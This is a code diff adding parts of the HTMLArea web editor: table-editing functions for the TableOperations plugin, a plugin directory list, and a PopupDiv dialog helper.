+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_align":
+ element.align = val;
+ break;
+ case "f_char":
+ element.ch = val;
+ break;
+ case "f_valign":
+ element.vAlign = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_align = element.align;
+ var f_valign = element.vAlign;
+ var f_char = element.ch;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "400px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL(cell ? "cell-prop.gif" : "row-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n[cell ? "Cell Properties" : "Row Properties"] + "</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td id='--HA-layout'> \
+"+// <fieldset><legend>" + i18n["Layout"] + "</legend> \
+// <table style='width:100%'> \
+// <tr> \
+// <td class='label'>" + i18n["Align"] + ":</td> \
+// <td> \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// <option value='char'" + selected(f_align == "char") + ">" + i18n["Char"] + "</option> \
+// </select> \
+// " + i18n["Char"] + ": \
+// <input type='text' style='font-family: monospace; text-align: center' name='f_char' size='1' value='" + f_char + "' /> \
+// </td> \
+// </tr><tr> \
+// <td class='label'>" + i18n["Vertical align"] + ":</td> \
+// <td> \
+// <select name='f_valign'> \
+// <option value='top'" + selected(f_valign == "top") + ">" + i18n["Top"] + "</option> \
+// <option value='middle'" + selected(f_valign == "middle") + ">" + i18n["Middle"] + "</option> \
+// <option value='bottom'" + selected(f_valign == "bottom") + ">" + i18n["Bottom"] + "</option> \
+// <option value='baseline'" + selected(f_valign == "baseline") + ">" + i18n["Baseline"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+// </table> \
+// </fieldset> \
+" </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, element);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, element);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function gets called when some button from the TableOperations toolbar
+// was pressed.
+TableOperations.prototype.buttonPress = function(editor, button_id) {
+ this.editor = editor;
+ var mozbr = HTMLArea.is_gecko ? "<br />" : "";
+ var i18n = TableOperations.I18N;
+
+ // helper function that clears the content in a table row
+ function clearRow(tr) {
+ var tds = tr.getElementsByTagName("td");
+ for (var i = tds.length; --i >= 0;) {
+ var td = tds[i];
+ td.rowSpan = 1;
+ td.innerHTML = mozbr;
+ }
+ };
+
+ function splitRow(td) {
+ var n = parseInt("" + td.rowSpan);
+ var nc = parseInt("" + td.colSpan);
+ td.rowSpan = 1;
+ tr = td.parentNode;
+ var itr = tr.rowIndex;
+ var trs = tr.parentNode.rows;
+ var index = td.cellIndex;
+ while (--n > 0) {
+ tr = trs[++itr];
+ var otd = editor._doc.createElement("td");
+ otd.colSpan = td.colSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCol(td) {
+ var nc = parseInt("" + td.colSpan);
+ td.colSpan = 1;
+ tr = td.parentNode;
+ var ref = td.nextSibling;
+ while (--nc > 0) {
+ var otd = editor._doc.createElement("td");
+ otd.rowSpan = td.rowSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCell(td) {
+ var nc = parseInt("" + td.colSpan);
+ splitCol(td);
+ var items = td.parentNode.cells;
+ var index = td.cellIndex;
+ while (nc-- > 0) {
+ splitRow(items[index++]);
+ }
+ };
+
+ function selectNextNode(el) {
+ var node = el.nextSibling;
+ while (node && node.nodeType != 1) {
+ node = node.nextSibling;
+ }
+ if (!node) {
+ node = el.previousSibling;
+ while (node && node.nodeType != 1) {
+ node = node.previousSibling;
+ }
+ }
+ if (!node) {
+ node = el.parentNode;
+ }
+ editor.selectNodeContents(node);
+ };
+
+ switch (button_id) {
+ // ROWS
+
+ case "TO-row-insert-above":
+ case "TO-row-insert-under":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var otr = tr.cloneNode(true);
+ clearRow(otr);
+ tr.parentNode.insertBefore(otr, /under/.test(button_id) ? tr.nextSibling : tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-row-delete":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var par = tr.parentNode;
+ if (par.rows.length == 1) {
+ alert(i18n["not-del-last-row"]);
+ break;
+ }
+ // set the caret first to a position that doesn't
+ // disappear.
+ selectNextNode(tr);
+ par.removeChild(tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+ case "TO-row-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitRow(td);
+ break;
+
+ // COLUMNS
+
+ case "TO-col-insert-before":
+ case "TO-col-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var rows = td.parentNode.parentNode.rows;
+ var index = td.cellIndex;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ var ref = tr.cells[index + (/after/.test(button_id) ? 1 : 0)];
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.focusEditor();
+ break;
+ case "TO-col-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCol(td);
+ break;
+ case "TO-col-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var index = td.cellIndex;
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-col"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ var rows = td.parentNode.parentNode.rows;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ tr.removeChild(tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+
+ // CELLS
+
+ case "TO-cell-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCell(td);
+ break;
+ case "TO-cell-insert-before":
+ case "TO-cell-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var tr = td.parentNode;
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, /after/.test(button_id) ? td.nextSibling : td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-cell-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-cell"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ td.parentNode.removeChild(td);
+ editor.forceRedraw();
+ editor.updateToolbar();
+ break;
+ case "TO-cell-merge":
+ // !! FIXME: Mozilla specific !!
+ var sel = editor._getSelection();
+ var range, i = 0;
+ var rows = [];
+ var row = null;
+ var cells = null;
+ if (!HTMLArea.is_ie) {
+ try {
+ while (range = sel.getRangeAt(i++)) {
+ var td = range.startContainer.childNodes[range.startOffset];
+ if (td.parentNode != row) {
+ row = td.parentNode;
+ (cells) && rows.push(cells);
+ cells = [];
+ }
+ cells.push(td);
+ }
+ } catch(e) {/* finished walking through selection */}
+ rows.push(cells);
+ } else {
+ // Internet Explorer "browser"
+ var td = this.getClosest("td");
+ if (!td) {
+ alert(i18n["Please click into some cell"]);
+ break;
+ }
+ var tr = td.parentElement;
+ var no_cols = prompt(i18n["How many columns would you like to merge?"], 2);
+ if (!no_cols) {
+ // cancelled
+ break;
+ }
+ var no_rows = prompt(i18n["How many rows would you like to merge?"], 2);
+ if (!no_rows) {
+ // cancelled
+ break;
+ }
+ var cell_index = td.cellIndex;
+ while (no_rows-- > 0) {
+ td = tr.cells[cell_index];
+ cells = [td];
+ for (var i = 1; i < no_cols; ++i) {
+ td = td.nextSibling;
+ if (!td) {
+ break;
+ }
+ cells.push(td);
+ }
+ rows.push(cells);
+ tr = tr.nextSibling;
+ if (!tr) {
+ break;
+ }
+ }
+ }
+ var HTML = "";
+ for (i = 0; i < rows.length; ++i) {
+ // i && (HTML += "<br />");
+ var cells = rows[i];
+ for (var j = 0; j < cells.length; ++j) {
+ // j && (HTML += " ");
+ var cell = cells[j];
+ HTML += cell.innerHTML;
+ (i || j) && (cell.parentNode.removeChild(cell));
+ }
+ }
+ var td = rows[0][0];
+ td.innerHTML = HTML;
+ td.rowSpan = rows.length;
+ td.colSpan = rows[0].length;
+ editor.selectNodeContents(td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+
+ // PROPERTIES
+
+ case "TO-table-prop":
+ this.dialogTableProperties();
+ break;
+
+ case "TO-row-prop":
+ this.dialogRowCellProperties(false);
+ break;
+
+ case "TO-cell-prop":
+ this.dialogRowCellProperties(true);
+ break;
+
+ default:
+ alert("Button [" + button_id + "] not yet implemented");
+ }
+};
+
+// the list of buttons added by this plugin
+TableOperations.btnList = [
+ // table properties button
+ ["table-prop", "table"],
+ null, // separator
+
+ // ROWS
+ ["row-prop", "tr"],
+ ["row-insert-above", "tr"],
+ ["row-insert-under", "tr"],
+ ["row-delete", "tr"],
+ ["row-split", "td[rowSpan!=1]"],
+ null,
+
+ // COLS
+ ["col-insert-before", "td"],
+ ["col-insert-after", "td"],
+ ["col-delete", "td"],
+ ["col-split", "td[colSpan!=1]"],
+ null,
+
+ // CELLS
+ ["cell-prop", "td"],
+ ["cell-insert-before", "td"],
+ ["cell-insert-after", "td"],
+ ["cell-delete", "td"],
+ ["cell-merge", "tr"],
+ ["cell-split", "td[colSpan!=1,rowSpan!=1]"]
+ ];
+
+
+
+//// GENERIC CODE [style of any element; this should be moved into a separate
+//// file as it'll be very useful]
+//// BEGIN GENERIC CODE -----------------------------------------------------
+
+TableOperations.getLength = function(value) {
+ var len = parseInt(value);
+ if (isNaN(len)) {
+ len = "";
+ }
+ return len;
+};
+
+// Applies the style found in "params" to the given element.
+TableOperations.processStyle = function(params, element) {
+ var style = element.style;
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_st_backgroundColor":
+ style.backgroundColor = val;
+ break;
+ case "f_st_color":
+ style.color = val;
+ break;
+ case "f_st_backgroundImage":
+ if (/\S/.test(val)) {
+ style.backgroundImage = "url(" + val + ")";
+ } else {
+ style.backgroundImage = "none";
+ }
+ break;
+ case "f_st_borderWidth":
+ style.borderWidth = val;
+ break;
+ case "f_st_borderStyle":
+ style.borderStyle = val;
+ break;
+ case "f_st_borderColor":
+ style.borderColor = val;
+ break;
+ case "f_st_borderCollapse":
+ style.borderCollapse = val ? "collapse" : "";
+ break;
+ case "f_st_width":
+ if (/\S/.test(val)) {
+ style.width = val + params["f_st_widthUnit"];
+ } else {
+ style.width = "";
+ }
+ break;
+ case "f_st_height":
+ if (/\S/.test(val)) {
+ style.height = val + params["f_st_heightUnit"];
+ } else {
+ style.height = "";
+ }
+ break;
+ case "f_st_textAlign":
+ if (val == "char") {
+ var ch = params["f_st_textAlignChar"];
+ if (ch == '"') {
+ ch = '\\"';
+ }
+ style.textAlign = '"' + ch + '"';
+ } else {
+ style.textAlign = val;
+ }
+ break;
+ case "f_st_verticalAlign":
+ style.verticalAlign = val;
+ break;
+ case "f_st_float":
+ style.cssFloat = val;
+ break;
+// case "f_st_margin":
+// style.margin = val + "px";
+// break;
+// case "f_st_padding":
+// style.padding = val + "px";
+// break;
+ }
+ }
+};
+
+// Returns an HTML element for a widget that allows color selection. That is,
+// a button that contains the given color, if any, and when pressed will popup
+// the sooner-or-later-to-be-rewritten select_color.html dialog allowing user
+// to select some color. If a color is selected, an input field with the name
+// "f_st_"+name will be updated with the color value in #123456 format.
+TableOperations.createColorButton = function(doc, editor, color, name) {
+ if (!color) {
+ color = "";
+ } else if (!/#/.test(color)) {
+ color = HTMLArea._colorToRgb(color);
+ }
+
+ var df = doc.createElement("span");
+ var field = doc.createElement("input");
+ field.type = "hidden";
+ df.appendChild(field);
+ field.name = "f_st_" + name;
+ field.value = color;
+ var button = doc.createElement("span");
+ button.className = "buttonColor";
+ df.appendChild(button);
+ var span = doc.createElement("span");
+ span.className = "chooser";
+ // span.innerHTML = " ";
+ span.style.backgroundColor = color;
+ button.appendChild(span);
+ button.onmouseover = function() { if (!this.disabled) { this.className += " buttonColor-hilite"; }};
+ button.onmouseout = function() { if (!this.disabled) { this.className = "buttonColor"; }};
+ span.onclick = function() {
+ if (this.parentNode.disabled) {
+ return false;
+ }
+ editor._popupDialog("select_color.html", function(color) {
+ if (color) {
+ span.style.backgroundColor = "#" + color;
+ field.value = "#" + color;
+ }
+ }, color);
+ };
+ var span2 = doc.createElement("span");
+ span2.innerHTML = "×";
+ span2.className = "nocolor";
+ span2.title = TableOperations.I18N["Unset color"];
+ button.appendChild(span2);
+ span2.onmouseover = function() { if (!this.parentNode.disabled) { this.className += " nocolor-hilite"; }};
+ span2.onmouseout = function() { if (!this.parentNode.disabled) { this.className = "nocolor"; }};
+ span2.onclick = function() {
+ span.style.backgroundColor = "";
+ field.value = "";
+ };
+ return df;
+};
+
+TableOperations.createStyleLayoutFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["Layout"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tagname = el.tagName.toLowerCase();
+ var tr, td, input, select, option, options, i;
+
+ if (tagname != "td" && tagname != "tr" && tagname != "th") {
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Float"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ select = doc.createElement("select");
+ td.appendChild(select);
+ select.name = "f_st_float";
+ options = ["None", "Left", "Right"];
+ for (i in options) {
+ var Val = options[i];
+ var val = options[i].toLowerCase();
+ option = doc.createElement("option");
+ option.innerHTML = i18n[Val];
+ option.value = val;
+ option.selected = (("" + el.style.cssFloat).toLowerCase() == val);
+ select.appendChild(option);
+ }
+ }
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Width"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.width);
+ input.size = "5";
+ input.name = "f_st_width";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_widthUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.width);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.width);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Text align"] + ":"));
+ select = doc.createElement("select");
+ select.style.marginLeft = select.style.marginRight = "0.5em";
+ td.appendChild(select);
+ select.name = "f_st_textAlign";
+ options = ["Left", "Center", "Right", "Justify"];
+ if (tagname == "td") {
+ options.push("Char");
+ }
+ input = doc.createElement("input");
+ input.name = "f_st_textAlignChar";
+ input.size = "1";
+ input.style.fontFamily = "monospace";
+ td.appendChild(input);
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.textAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+ function setCharVisibility(value) {
+ input.style.visibility = value ? "visible" : "hidden";
+ if (value) {
+ input.focus();
+ input.select();
+ }
+ };
+ select.onchange = function() { setCharVisibility(this.value == "char"); };
+ setCharVisibility(select.value == "char");
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Height"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.height);
+ input.size = "5";
+ input.name = "f_st_height";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_heightUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.height);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.height);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Vertical align"] + ":"));
+ select = doc.createElement("select");
+ select.name = "f_st_verticalAlign";
+ select.style.marginLeft = "0.5em";
+ td.appendChild(select);
+ options = ["Top", "Middle", "Bottom", "Baseline"];
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.verticalAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+
+ return fieldset;
+};
+
+// Returns an HTML element containing the style attributes for the given
+// element. This can be easily embedded into any dialog; the functionality is
+// also provided.
+TableOperations.createStyleFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["CSS Style"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tr, td, input, select, option, options, i;
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Background"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var df = TableOperations.createColorButton(doc, editor, el.style.backgroundColor, "backgroundColor");
+ df.firstChild.nextSibling.style.marginRight = "0.5em";
+ td.appendChild(df);
+ td.appendChild(doc.createTextNode(i18n["Image URL"] + ": "));
+ input = doc.createElement("input");
+ input.type = "text";
+ input.name = "f_st_backgroundImage";
+ if (el.style.backgroundImage.match(/url\(\s*(.*?)\s*\)/)) {
+ input.value = RegExp.$1;
+ }
+ // input.style.width = "100%";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["FG Color"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.appendChild(TableOperations.createColorButton(doc, editor, el.style.color, "color"));
+
+ // for better alignment we include an invisible field.
+ input = doc.createElement("input");
+ input.style.visibility = "hidden";
+ input.type = "text";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Border"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+
+ var colorButton = TableOperations.createColorButton(doc, editor, el.style.borderColor, "borderColor");
+ var btn = colorButton.firstChild.nextSibling;
+ td.appendChild(colorButton);
+ // borderFields.push(btn);
+ btn.style.marginRight = "0.5em";
+
+ select = doc.createElement("select");
+ var borderFields = [];
+ td.appendChild(select);
+ select.name = "f_st_borderStyle";
+ options = ["none", "dotted", "dashed", "solid", "double", "groove", "ridge", "inset", "outset"];
+ var currentBorderStyle = el.style.borderStyle;
+ // Gecko reports "solid solid solid solid" for "border-style: solid".
+ // That is, "top right bottom left" -- we only consider the first
+ // value.
+ (currentBorderStyle.match(/([^\s]*)\s/)) && (currentBorderStyle = RegExp.$1);
+ for (i in options) {
+ var val = options[i];
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = val;
+ (val == currentBorderStyle) && (option.selected = true);
+ select.appendChild(option);
+ }
+ select.style.marginRight = "0.5em";
+ function setBorderFieldsStatus(value) {
+ for (i in borderFields) {
+ var el = borderFields[i];
+ el.style.visibility = value ? "hidden" : "visible";
+ if (!value && (el.tagName.toLowerCase() == "input")) {
+ el.focus();
+ el.select();
+ }
+ }
+ };
+ select.onchange = function() { setBorderFieldsStatus(this.value == "none"); };
+
+ input = doc.createElement("input");
+ borderFields.push(input);
+ input.type = "text";
+ input.name = "f_st_borderWidth";
+ input.value = TableOperations.getLength(el.style.borderWidth);
+ input.size = "5";
+ td.appendChild(input);
+ input.style.marginRight = "0.5em";
+ var span = doc.createElement("span");
+ span.innerHTML = i18n["pixels"];
+ td.appendChild(span);
+ borderFields.push(span);
+
+ setBorderFieldsStatus(select.value == "none");
+
+ if (el.tagName.toLowerCase() == "table") {
+ // the border-collapse style is only for tables
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "checkbox";
+ input.name = "f_st_borderCollapse";
+ input.id = "f_st_borderCollapse";
+ var val = (/collapse/i.test(el.style.borderCollapse));
+ input.checked = val ? 1 : 0;
+ td.appendChild(input);
+
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var label = doc.createElement("label");
+ label.htmlFor = "f_st_borderCollapse";
+ label.innerHTML = i18n["Collapsed borders"];
+ td.appendChild(label);
+ }
+
+// tr = doc.createElement("tr");
+// tbody.appendChild(tr);
+// td = doc.createElement("td");
+// td.className = "label";
+// tr.appendChild(td);
+// td.innerHTML = i18n["Margin"] + ":";
+// td = doc.createElement("td");
+// tr.appendChild(td);
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_margin";
+// td.appendChild(input);
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["Padding"] + ":"));
+
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_padding";
+// td.appendChild(input);
+// input.style.marginLeft = "0.5em";
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["pixels"]));
+
+ return fieldset;
+};
+
+//// END GENERIC CODE -------------------------------------------------------
--- /dev/null
+<files>
+ <dir name="SpellChecker" />
+ <dir name="TableOperations" />
+ <dir name="FullPage" />
+ <dir name="CSS" />
+ <dir name="ContextMenu" />
+ <dir name="HtmlTidy" />
+ <dir name="ListType" />
+</files>
--- /dev/null
+/** This file is derived from PopupDiv, developed by Mihai Bazon for
+ * SamWare.net. Modifications were needed to make it usable in HTMLArea.
+ * HTMLArea is a free WYSIWYG online HTML editor from InteractiveTools.com.
+ *
+ * This file does not function standalone. It is dependent of global functions
+ * defined in HTMLArea-3.0 (htmlarea.js).
+ *
+ * Please see file htmlarea.js for further details.
+ **/
+
+var is_ie = ( (navigator.userAgent.toLowerCase().indexOf("msie") != -1) &&
+ (navigator.userAgent.toLowerCase().indexOf("opera") == -1) );
+var is_compat = (document.compatMode == "BackCompat");
+
+function PopupDiv(editor, titleText, handler, initFunction) {
+ var self = this;
+
+ this.editor = editor;
+ this.doc = editor._mdoc;
+ this.handler = handler;
+
+ var el = this.doc.createElement("div");
+ el.className = "content";
+
+ var popup = this.doc.createElement("div");
+ popup.className = "dialog popupdiv";
+ this.element = popup;
+ var s = popup.style;
+ s.position = "absolute";
+ s.left = "0px";
+ s.top = "0px";
+
+ var title = this.doc.createElement("div");
+ title.className = "title";
+ this.title = title;
+ popup.appendChild(title);
+
+ HTMLArea._addEvent(title, "mousedown", function(ev) {
+ self._dragStart(is_ie ? window.event : ev);
+ });
+
+ var button = this.doc.createElement("div");
+ button.className = "button";
+ title.appendChild(button);
+ button.innerHTML = "×";
+ title.appendChild(this.doc.createTextNode(titleText));
+ this.titleText = titleText;
+
+ button.onmouseover = function() {
+ this.className += " button-hilite";
+ };
+ button.onmouseout = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ };
+ button.onclick = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ self.close();
+ };
+
+ popup.appendChild(el);
+ this.content = el;
+
+ this.doc.body.appendChild(popup);
+
+ this.dragging = false;
+ this.onShow = null;
+ this.onClose = null;
+ this.modal = false;
+
+ initFunction(this);
+};
+
+PopupDiv.currentPopup = null;
+
+PopupDiv.prototype.showAtElement = function(el, mode) {
+ this.defaultSize();
+ var pos, ew, eh;
+ var popup = this.element;
+ popup.style.display = "block";
+ var w = popup.offsetWidth;
+ var h = popup.offsetHeight;
+ popup.style.display = "none";
+ if (el != window) {
+ pos = PopupDiv.getAbsolutePos(el);
+ ew = el.offsetWidth;
+ eh = el.offsetHeight;
+ } else {
+ pos = {x:0, y:0};
+ var size = PopupDiv.getWindowSize();
+ ew = size.x;
+ eh = size.y;
+ }
+ var FX = false, FY = false;
+ if (mode.indexOf("l") != -1) {
+ pos.x -= w;
+ FX = true;
+ }
+ if (mode.indexOf("r") != -1) {
+ pos.x += ew;
+ FX = true;
+ }
+ if (mode.indexOf("t") != -1) {
+ pos.y -= h;
+ FY = true;
+ }
+ if (mode.indexOf("b") != -1) {
+ pos.y += eh;
+ FY = true;
+ }
+ if (mode.indexOf("c") != -1) {
+ FX || (pos.x += Math.round((ew - w) / 2));
+ FY || (pos.y += Math.round((eh - h) / 2));
+ }
+ this.showAt(pos.x, pos.y);
+};
+
+PopupDiv.prototype.defaultSize = function() {
+ var s = this.element.style;
+ var cs = this.element.currentStyle;
+ var addX = (is_ie && is_compat) ? (parseInt(cs.borderLeftWidth) +
+ parseInt(cs.borderRightWidth) +
+ parseInt(cs.paddingLeft) +
+ parseInt(cs.paddingRight)) : 0;
+ var addY = (is_ie && is_compat) ? (parseInt(cs.borderTopWidth) +
+ parseInt(cs.borderBottomWidth) +
+ parseInt(cs.paddingTop) +
+ parseInt(cs.paddingBottom)) : 0;
+ s.display = "block";
+ s.width = (this.content.offsetWidth + addX) + "px";
+ s.height = (this.content.offsetHeight + this.title.offsetHeight) + "px";
+ s.display = "none";
+};
+
+PopupDiv.prototype.showAt = function(x, y) {
+ this.defaultSize();
+ var s = this.element.style;
+ s.display = "block";
+ s.left = x + "px";
+ s.top = y + "px";
+ this.hideShowCovered();
+
+ PopupDiv.currentPopup = this;
+ HTMLArea._addEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._addEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ if (is_ie && this.modal) {
+ this.doc.body.setCapture(false);
+ this.doc.body.onlosecapture = function() {
+ (PopupDiv.currentPopup) && (this.doc.body.setCapture(false));
+ };
+ }
+ window.event && HTMLArea._stopEvent(window.event);
+
+ if (typeof this.onShow == "function") {
+ this.onShow();
+ } else if (typeof this.onShow == "string") {
+ eval(this.onShow);
+ }
+
+ var field = this.element.getElementsByTagName("input")[0];
+ if (!field) {
+ field = this.element.getElementsByTagName("select")[0];
+ }
+ if (!field) {
+ field = this.element.getElementsByTagName("textarea")[0];
+ }
+ if (field) {
+ field.focus();
+ }
+};
+
+PopupDiv.prototype.close = function() {
+ this.element.style.display = "none";
+ PopupDiv.currentPopup = null;
+ this.hideShowCovered();
+ HTMLArea._removeEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._removeEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ is_ie && this.modal && this.doc.body.releaseCapture();
+ if (typeof this.onClose == "function") {
+ this.onClose();
+ } else if (typeof this.onClose == "string") {
+ eval(this.onClose);
+ }
+ this.element.parentNode.removeChild(this.element);
+};
+
+PopupDiv.prototype.getForm = function() {
+ var forms = this.content.getElementsByTagName("form");
+ return (forms.length > 0) ? forms[0] : null;
+};
+
+PopupDiv.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ params[el.name] = el.value;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupDiv.getAbsolutePos = function(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = PopupDiv.getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
